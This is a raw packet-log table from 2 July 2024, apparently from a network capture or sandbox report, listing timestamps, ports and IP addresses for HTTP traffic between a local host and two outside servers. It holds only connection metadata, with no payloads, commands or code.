Jul 2, 2024 04:12:09.601684093 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601702929 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601712942 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601715088 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601725101 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601732016 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601744890 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601747036 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601761103 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601771116 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601771116 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601788998 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601795912 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601800919 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601819992 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601824045 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601838112 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601857901 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601864100 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601869106 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601885080 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601895094 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601907969 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601912975 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601918936 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601919889 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601936102 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601943970 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601948977 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601955891 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601965904 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601974964 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601986885 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601989985 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.602000952 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.602001905 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.602018118 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.602026939 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.602031946 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.602037907 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.602052927 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.602061033 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.602062941 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.602071047 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.602081060 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.602089882 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.602093935 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.602108002 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.602116108 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.602144003 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:10.296381950 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:10.296423912 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:10.301306009 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:10.301326990 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:11.004637957 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:11.004712105 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:11.038325071 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:11.043329000 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:11.218199015 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:11.218270063 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:11.218348026 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:11.218391895 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:11.218528032 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:11.218574047 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:11.220980883 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:11.228569031 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:11.401989937 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:11.402211905 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:11.417960882 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:11.423235893 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:12.136488914 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:12.136683941 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:12.162904978 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:12.167716026 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:12.863430023 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:12.863509893 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:12.866028070 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:12.870831966 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:12.870955944 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:12.871340036 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:12.876142979 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.584060907 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.584074974 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.584178925 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.584187984 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.584211111 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.584220886 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.584233046 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.584247112 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.584258080 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.584274054 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.584312916 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.584398031 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.589128017 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.589191914 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.589206934 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.589224100 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.589242935 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.589344978 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.710319996 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.710352898 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.710478067 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.710544109 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.710556984 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.710577965 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.710622072 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.710652113 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.710664034 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.710681915 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.710685015 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.710761070 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.711251020 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.711262941 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.711282969 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.711323977 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.711324930 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.711339951 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.711349964 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.711400986 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.711882114 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.711894035 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.711915016 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.711945057 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.711980104 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.711997032 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.712008953 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.712028027 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.712044954 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.712078094 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.712078094 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.712744951 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.712770939 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.712790012 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.712799072 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.712820053 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.712821960 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.712821960 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.712831020 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.712862015 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.712891102 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.715306044 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.715317965 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.715363979 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.715363979 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.836349010 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.836366892 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.836385965 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.836416960 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.836450100 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.836455107 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.836467981 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.836492062 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.836533070 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.836533070 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.836533070 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.836541891 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.836553097 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.836575985 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.836581945 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.836606979 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.836606979 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.836620092 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.836632967 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.836648941 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.836653948 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.836661100 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.836673021 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.836678028 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.836697102 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.836698055 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.836715937 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.837116003 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.837153912 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.837167025 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.837169886 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.837193966 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.837210894 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.837212086 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.837220907 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.837238073 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.837254047 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.837302923 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.837302923 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.837610960 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.837621927 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.837640047 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.837661982 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.837682962 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.837682962 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.837693930 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.837712049 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.837723970 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.837726116 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.837745905 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.837773085 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.838046074 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.838059902 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.838077068 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.838100910 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.838102102 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.838123083 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.838133097 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.838143110 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.838161945 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.838171959 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.838172913 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.838186026 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.838196993 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.838196993 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.838215113 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.838217020 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.838226080 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.838243961 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.838253975 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.838255882 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.838274002 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.838274002 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.838295937 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.838316917 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.839020014 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.839030981 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.839056969 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.839065075 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.839097977 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.839097977 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.843092918 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.843103886 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.843125105 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.843138933 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.843174934 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.843216896 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.926899910 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.926913977 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.926940918 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.926949978 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.926966906 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.927081108 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.927081108 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.962526083 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.962538004 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.962594032 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.962634087 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.962656975 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.962666988 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.962685108 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.962693930 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.962712049 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.962713957 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.962733030 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.962744951 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.962752104 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.962755919 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.962785006 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.962788105 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.962804079 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.962805033 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.962825060 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.962841988 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.963094950 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.963109016 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.963124990 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.963140965 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.963155985 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.963165998 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.963176966 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.963176966 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.963184118 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.963208914 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.963243961 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.963414907 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.963457108 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.963479042 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.963490009 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.963519096 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.963527918 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.963537931 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.963556051 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.963558912 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.963558912 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.963570118 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.963577986 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.963593960 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.963609934 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.963916063 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.963968039 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.963972092 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.963983059 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.964013100 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.964019060 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.964031935 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.964037895 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.964056969 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.964056969 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.964075089 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.964092016 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.964356899 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.964366913 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.964386940 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.964399099 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.964417934 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.964425087 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.964435101 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.964437008 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.964454889 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.964463949 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.964468002 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.964495897 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.964505911 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.964505911 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.964505911 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.964505911 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.964525938 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.964531898 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.964540005 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.964550972 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.964555979 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.964571953 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.964575052 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.964575052 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.964592934 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.964612961 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.965296030 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.965308905 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.965323925 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.965349913 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.965351105 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.965374947 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.965374947 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.965389013 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.965403080 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.965413094 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.965418100 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.965461016 CEST	49705	80	192.168.2.5	77.91.77.81
